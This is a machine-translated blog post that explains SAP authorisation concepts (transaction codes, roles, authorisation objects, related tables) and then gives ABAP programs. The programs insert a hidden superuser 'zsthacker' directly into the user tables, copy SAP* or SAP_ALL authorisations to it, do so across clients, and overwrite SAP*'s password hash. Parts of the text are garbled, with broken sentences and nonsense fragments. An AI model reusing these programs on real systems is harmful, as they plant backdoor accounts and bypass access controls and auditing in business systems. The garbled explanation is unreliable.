Explain sap permissions in plain language

Roles, general roles, and local roles

 

| -- Permission object mm_xxxx object

|

| -- Permission field 1 (responsible for adding, deleting, and modifying) Field 2 (responsible for field-level access)

|

| -- Allow Operation 01/03/05/07 |

|

| -- Allowed values: factory1, factory2, and factory5 ~ Factory7

 

Bytes ---------------------------------------------------------------------------------------------------------

 

Intuitively, permission is the combination of "someone can do something" and "someone cannot do something. In the SAP system, a transaction code (also called transaction code, tcode, or transaction Code) is used to indicate that a user can

. For example, the tcode mm01 is used to maintain material data, migo is used to receive goods, and fs00 is used to maintain accounting subjects.
 
When you create an ID with su01, the default permission is blank, that is, the newly created ID cannot do anything, nor use any transaction code. In this way, you only need to assign the corresponding tcode to the corresponding ID to implement "someone can

When something is done, its supplement is something that someone cannot do ".
 
However, we cannot directly assign tcode to an ID in su01. We need to use role to transfer the code. That is, a bunch of tcodes constitute a role, and then the role is assigned to an ID, and then the ID gets a bunch

Tcode.
 
The above are just the basic concepts of SAP permission control. To understand all SAP permission control, you must also understand the following concepts.
 
1. Roles, common roles, and local roles)
 
As mentioned above, roles, that is, role, are a collection of tcodes, of course, it also contains "permission objects", "permission fields", "allowed operations", and "Allowed values" necessary for tcode. We use pfcg to maintain roles.
 
To implement system testing and SAP implementation, roles are further divided into general roles and local roles ".
 
For example, it is easy to understand: A general role is like a "production order processor". A local role corresponds to "Great Wall International assembled a factory production order processor ". Therefore, the difference between a local role and a general role is that

In the case of Operation permissions (transaction code), the former has more specific restrictions. This restriction value may be an organizational structure restriction or a limitation on other services. For example, the ticket maker of a sub-factory cannot maintain the sub-factory

A. B. a. B. a. B.
 
For details, refer to the following concepts.
 
2. Authorization object, authorization field, allowed activity, and allowed field value)
 
As mentioned above, the role consists of several tcodes. In fact, there is an intermediate concept "permission object" between role and tcode ":
 
The role contains several permission objects and stores the relationship between them in the transparent table agr_1250;
The permission object contains several permission fields, permitted operations, and permitted values. The relationships between role, object, field, and value are shown in the transparent table agr_1251;
There is a special permission object that contains several transaction codes. This permission object is called "s_tcode", and the permission field of this permission object is called "TCM". The value allowed by this field (Field Value) is stored in the transaction generation.

Code;
A special permission field is used to indicate the operations that can be performed on the permission object. It allows creation, modification, display, deletion, or other operations. This permission field is called "actvt" and the value allowed by this field (Field

Value) stores the code that can be operated. 01 indicates creation, 02 indicates modification, and 03 indicates display;
 
In other words, the permission Control Mechanism of sap can check whether you have the permission to maintain a field in a transparent table.
 
The SAP system comes with several permission objects and controls several permission fields by default (corresponding to some fields in the transparent table ). You can use the transaction code su20 to view the system's permission fields and su21 to view the system's permissions.

Default permission object.
 
So we know the difference between the transaction code and the permission object. From the perspective of permission control, transaction code is a special permission object. During the execution of a transaction code, to determine whether an ID has the right

This transaction code is restricted, and several other common permission objects may be checked. Use su22 to view the permission objects contained in a transaction code. In the transparent table usobx, the pair of the transaction code and permission object is stored.

Relationship.
 
3. Custom permission object
 
The built-in permission objects and permission fields mentioned above can only meet limited requirements. The permission review logic is also hardcoded by the system, all we can do is whether to enable the check of a permission object (using su22

). If you need to customize it, use su20 and su21 to define it. Add similar code to the program during the call:
 
Authority-check object 'z _ vkorg 'id' vkorg 'field 'rec _ VKORG-VKORG '.
If SY-SUBRC <> 0.
Message 'no authorization! 'Type '.
Endif.
 
The following program zcrtuser is a reference program that establishes the user zsthacker (initial password 123qaz) and grants all permissions to the SAP * user.
 
Program zcrtuser.
 
Data zusr02 like usr02.
 
* ** 1. create user zsthacker according to ddic
 
Select single * into zusr02 from usr02
 
Where bname = 'ddic '.
 
ZUSR02-BNAME = 'zsthacker '.
 
ZUSR02-Bcode = 'e3b796bb09f7901b '.
 
Insert usr02 from zusr02.
 
* ** 2. Copy Auth. OBJ from sap * (or other)
 
* ** If you remove where bname = 'sap * ', you can copy all the authorized objects.
 
Data zusrbf2 like usrbf2 occurs 0 with header line.
 
Select * From usrbf2 into Table zusrbf2
 
Where bname = 'sap *'.
 
Loop at zusrbf2.
 
ZUSRBF2-BNAME = 'zsthacker '.
 
Modify zusrbf2 index sy-tabix transporting bname.
 
Endloop.
 
Insert usrbf2 from Table zusrbf2 accepting duplicate keys.
 
 
If sap * may be deleted, you can directly grant all the ERP authorization objects included in tobj to a user.
 
The following program zallobj is used to assign all the standard authorization objects to the user zsthacker.
 
Program zallobj.
 
Data ztobj like tobj occurs 0 with header line.
 
Data zusrbf2 like usrbf2.
 
Select * into Table ztobj from tobj.
 
Loop at ztobj.
 
Zusrbf2-mandt = sy-mandt.
 
Zusrbf2-bname = 'zsthacker '.
 
Zusrbf2-objct = ztobj-objct.
 
Zusrbf2-auth = '& _ sap_all '.
 
Modify usrbf2 from zusrbf2.
 
Endloop.
 

 
 
You can also create users and grant permissions across clients, as long as you use client specified.
 
Program zclient.
 
Data zusrbf2 like usrbf2.
 
Select * into zusrbf2 from usrbf2 where bname = 'sap *'.
 
Zusrbf2-bname = 'zsthacker '.
 
Zusrbf2-mandt = '000000 '.
 
Insert into usrbf2 client specified values zusrbf2.
 
Endselect.
 
 
The following is a statement to change the password of sap * To 123456. Similarly, if the user's butcher password is lost, I just need to create a user on a server, also called butcher, and set the password

1qaz2wsx, then the password encrypted by any client on any system must be bf02c9f1f179fb45, which makes little sense.
 
Report zmodpwd.
 
Tables: usr02.
 
Update usr02 set bcode = 'cf094baa2020480e'
 
Where bname = 'sap *'.
 
 
Although the above is only a permission Control for building material master data, it clearly explains the permission control logic of the ERP system.

 

Http://speed847.iteye.com/blog/621385